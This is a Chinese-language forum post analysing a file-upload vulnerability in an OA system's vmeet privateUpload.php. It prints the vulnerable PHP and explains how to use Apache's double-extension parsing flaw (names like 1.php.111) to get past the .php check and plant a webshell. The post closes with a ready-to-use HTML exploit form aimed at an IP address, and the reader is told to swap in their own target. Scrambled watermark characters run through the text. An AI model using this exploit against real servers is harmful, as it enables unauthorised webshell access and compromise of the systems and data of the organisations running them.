作者:西毒@SafeKey Team" J0 X5 M9 E: J E _1 Z7 Z \( y
: w; O8 N% u" V: L6 u4 |2 w
: n% [0 V. L8 o1 q, L0 q; ]0 p' T3 m" l( q
在general/vmeet/ 下的 privateUpload.php文件
# N7 ^* H+ L4 D我们看看代码$ W7 X* Q4 c5 k$ _
4 ~4 j6 z: n* k$ G
) }2 J _) Z' b, }2 I: j$ t( a: W) a4 r2 n( p, e \
include_once( "inc/conn.php" ); //包含conn.php该文件 include_once( "inc/utility_file.php" );//包含utility_file.php这个文件 ob_end_clean( ); //清除缓冲区 $uploadFileName = $_FILES['Filedata']['name']; //获取上传文件名 $uploadFile = $_FILES['Filedata']['tmp_name']; //获取上传临时文件地址 $uploadFileName = iconv( "UTF-8", $MYOA_CHARSET, $uploadFileName ); //转换文件名编码,统一utf-8 if ( is_uploaded_file( $uploadFile ) ) //这里判断是否已经上传了文件,如果存在临时文件则执行下面语句 { $pos = strrpos( $uploadFileName, "." ); //取文件名最好一个包含点的位置 $len = strlen( $uploadFileName ); //获取文件名长度 $extendType = substr( $uploadFileName, $pos, $len );//取最后的文件名 if ( strtolower( $extendType ) == ".php" ) //判断后缀是否为.php如果是.php则不执行,如果否继续执行下面的语句 { echo "upload file fobidden"; exit( ); } $localFileName = $_GET['fileName']; //get方式获取文件名 漏洞出现在这里 $ZLCHAT_ATTACH = "upload/"; //上传目录 $localFile = "{$ZLCHAT_ATTACH}/temp/".$localFileName; //上传位置,其中$localFileName是可控的变量 if ( !td_move_uploaded_file( $uploadFile, $localFile ) ) //这里就上传了 { echo "upload failed"; } } ?>5 j, Q. G; E9 r$ u1 ]7 t3 `' v
这是对上面代码的一个解析,看看我们怎么绕过这个过程拿下webshell呢?) v' `8 @& n' D& N& {
首先我们必须得明白….这里系统采用的是apache服务器,apache服务器存在一个解析漏洞,即 当遇到这样的文件(1.php.222) 他会解析这个文件为php4 _2 O5 k9 W+ p% S) j
我们这里就是利用这个漏洞绕过上面的检测后缀名的。1 J8 k8 ]; A9 S) F" f; O7 h
6 ] Z) c" Q% E' l+ }2 R
所以我们只要上传非php后缀的文件,然后我们自定义一个后缀为1.php.111这样就行了。 上传目录又告诉我们了,所以我们就这样可以轻松获取一个webshell了
7 f+ x1 h9 `+ E' ~; m这是我本地测试的结果4 ^* G: c& U# z5 I2 k" y5 h
0 k& Z3 U4 u8 I s) w下面我附一下利用exp! b# t( X& K) A5 G. Q' x% o4 O
保存下面的代码为1.html 如果需要测试的话,只需要将192.168.56.139改成你的目标站点0 \& @& ]7 y- T1 U; L0 K
exp 放在这里
! @1 S- U# h- d1 z7 f) v5 T
, i. s4 C! n# h0 ], H& \% R6 c ) O G: x4 J+ m3 c/ t+ J7 E& B
7 q8 U# E O/ n
& U( f- i+ F3 }$ i1 s: |1 W* n0 w' ~9 C: d) _
<form id=”frmUpload” enctype=”multipart/form-data” action=”http://192.168.56.139/general/vm ... ileName=555.php.111″ method=”post”>Upload a new file:<br> <input type=”file” name=”Filedata” size=”50″><br> <input type=”submit” value=”Upload”> <!– http://192.168.56.139/general/vmeet/upload/temp/555.php.111 这里是上传之后的网马–> </form> |